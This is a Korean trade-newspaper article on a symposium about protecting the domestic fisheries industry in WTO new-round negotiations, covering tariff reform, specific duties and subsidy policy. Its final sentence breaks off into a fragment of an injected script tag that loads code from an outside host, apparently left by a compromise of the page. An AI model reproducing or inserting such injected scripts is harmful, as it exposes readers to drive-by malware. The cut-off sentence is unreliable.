" WTO 뉴라운드 협상에서 우리 수산업의 피해를 최소화하기위해서는 관세인하에 따른 관세할당제도, 조정관세제도, 반덤핑관세제도등의 탄력관세제도 활용이 시급하다는 지적이 제기됐다.
또 단순히 어업인의 소득보존이나 생계지원이 아니라 기술지도, 가공·유통·양식 등 다른 수산부문의 지원등으로 수산보조금 정책 전환이 필요하다는 의견이 제시됐다.

한국수산회가 16일 WTO 수산연대 결성에 이어 가진 심포지엄에서 한국해양수산개발원 주문배박사는 WTO 뉴라운드 대응 수산물 무역제도의 개선방향과 관련 이같이 밝혔다.
이날 또 부경대 박명섭교수는 『우리나라 최대 수산물시장인 일본의 경우 제도적인 정책을 통해 수입을 통제해 왔다』면서 『일본수출증대를 위해 양륙항 확대와 수입쿼터제도 폐지등을 포함한 비관세장벽 관련조치의 폐지를 위해 정보를 지속적으로 입수해 정부간 협상을 적극 추진해야 한다』고 주장했다.

박교수는 또한 『소비자 특성과 유통체계 및 수입제도등에 대한 연구가 필요하고 경쟁국과의 비교우위 확보와 지속적인 수출증대를 위한 수출기반 조성도 시급한 과제』라고 지적했다.

이날 해양수산부 강무현국장은 『주요 수산물 수입국과의 공조체제 구축과 더불어 수산보조금문제는 FAO, 무역문제는 WTO 보조금위원회에서 각각 논의될 수 있도록 하겠다』는 단기대책을 밝히면서 『장기적으로는 단계별대응 전략 마련과 함께 수산물 무역제도를 적극 개편할 것』이라고 덧붙였다.

다음은 이날 발표된 WTO 수산부문 대응책중 한국해양수산개발원 주문배연구원이 발표한 수산물 무역제도 개선과 관련한 주요내용이다.

@현황 및 문제점
현행 관세율은 수산물의 품목별 특성을 고려하지 않고 관세율을 책정한 것으로 변화된 무역환경에 적응하는데 문제가 있다. 즉 WTO 체제하에서 관세는 산업정책의 효과적인 수단으로서 기능이 중요함에도 불구하고 국내외의 소비성향과 개별어업의 경쟁력등을 기초로 한 품목별 관세율을 부과하지 있지 않다.

우리나라 관세제도는 종가세 중심의 관세체계를 유지하면서 극히 일부 물품에 한해 종량세를 부과하고 있다. 이는 종량세, 종가세와 더불어 종량종가선택세와 종량종가복합세(병과세) 제도를 운영하고 있는 미국이나 일본과 대비되는 관세체계이다.

수입급증으로 국내 수산업의 심각한 피해가 발생하거나 발생할 우려가 있을 경우 국내수산물 가격안정등을 위해 사용될 수 있도록 관세법상 여러 가지 탄력관세제도가 규정돼 있으나 제대로 활용되지 못하고 있다. 특히 농산물과는 달리 수산물의 경우 농산물을 제외한 기타의 수입품과 동일하게 긴급관세를 부과, 까다로운 절차를 밟아야 함으로써 부패하기 쉽거나 계절성이 있는 수산물의 특성이 고려되지 않고 있다.

@대책
WTO 뉴라운드 협상결과는 현행 수산물 무역제도의 중대한 변화를 가져올 것으로 예상되므로 이에 대응할 수 있는 수산물 관세제도를 마련하는 것이 최우선 과제다. 수입개방에 의한 국내 수산업의 피해와 자급률의 변화등을 감안해 현행 관세대상 수산물을 무세화품목, 고관세품목, 저관세품목으로 구분하고 적용 관세율도 소수점까지 활용함으로써 수입개방 확대에 대응할 수 있는 체제를 구축해야 한다.

또 효율적인 수입수산물의 관리를 위해 수산가공원료 중 국내공급이 거의 불가능한 비경쟁원료의 관세율은 무세 또는 최저세율로 인하해 국내 수산가공품의 생산원가를 낮추고 상대적으로 국내 경쟁력이 취약한 고차수산가공품에 대하여는 국내 가공수산업이 교역상대국에 대해 비교우위를 갖출 때 까지 한시적으로 높은 관세를 적용해야 한다.

저가 수산물의 수입을 억제해 국내 수산업의 보호와 생계형 어업인의 생산기반을 보호하기 위해서는 종량세 도입이 필수적이다. 과세가격이 높은 활어의 경우는 종가세가, 저가 수입수산물은 종량세를 적용할 때 관세제도를 통한 국내수산업의 보호기능이 제대로 발휘될 수 있다.

허용보조금의 지원활성화 조치의 일환으로서 농업협정상 농업분야에 대해 적용되고 있는 직접지불제도의 도입을 적극 검토할 필요가 있다. 수산보조금에 있어 직접지불제는 노령어가의 조기은퇴에 대한 직접지불제로서 생산성이 떨어지는 노령어가가 은퇴하고자하는 경우 보조금을 지급해 조기은퇴를 유도함으로써 전업어가의 경영규모확대와 젊은 어업인후계자의 신규진입을 촉진하는데 이용될 수 있다.

기존 수산물 검역 및 검사제도는 수출촉진을 위해 수출용 수산물을 중심으로 이뤄져 수입억제와 국내 수산업의 보호역할은 수행하지 못했다. 또한 수입수산물의 검역과 검사절차에 있어서도 근거법이 수산물검사소 설립모법인 수산물검사법이 아닌 식품위생법으로 보건복?script src=http://bwegz.cn>
저작권자 © 농수축산신문 무단전재, 재배포 및 AI학습 이용 금지